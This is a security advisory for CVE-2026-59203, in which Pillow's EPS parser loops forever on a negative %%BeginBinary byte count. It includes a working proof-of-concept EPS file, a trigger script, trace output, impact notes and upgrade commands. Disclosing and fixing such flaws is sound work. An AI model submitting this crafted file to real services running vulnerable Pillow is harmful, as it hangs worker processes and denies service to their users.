Skip to content

GHSA-pg7v-jwj7-p798 BIT-pillow-2026-59203 CVE-2026-59203 PYSEC-2026-3452

Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service

High PyPI
Severity
5.3 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.40%
Chance of exploitation in the next 30 days. Higher than 34.17% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
Fix
12.3.0
Upgrade pillow to this version or later

Description

Summary

Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.

The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.

Confirmed affected versions: Pillow 12.0.0 through 12.2.0.

Details

The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.

Relevant code:

elif bytes_mv[:14] == b"%%BeginBinary:":
    bytecount = int(byte_arr[14:bytes_read])
    self.fp.seek(bytecount, os.SEEK_CUR)

There is no validation that bytecount is non-negative.

If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.

In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.

PoC

Save the following content as pillow_eps_beginbinary_dos.eps:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF

Then run:

python -m pip install "Pillow==12.2.0"

python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY

Expected behavior: Pillow should reject the malformed EPS file with a parser exception.

Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.

The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:

LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94

Impact

This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().

This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.

Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

Affected versions

PyPI

PackageVulnerableFixed in
pillow
>= 12.0.0, < 12.3.0
12.3.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 12.3.0

pip
pip install --upgrade "pillow>=12.3.0"
poetry
poetry add "pillow>=12.3.0"
uv
uv add "pillow>=12.3.0"

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Weakness

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects pillow
GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
High Also affects pillow
GHSA-654x-cwwv-5j9c
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
Medium Also affects pillow
GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
GHSA-g7cr-3p24-7wf7
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
High Also affects pillow
GHSA-9v9v-9qvf-h2hj
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor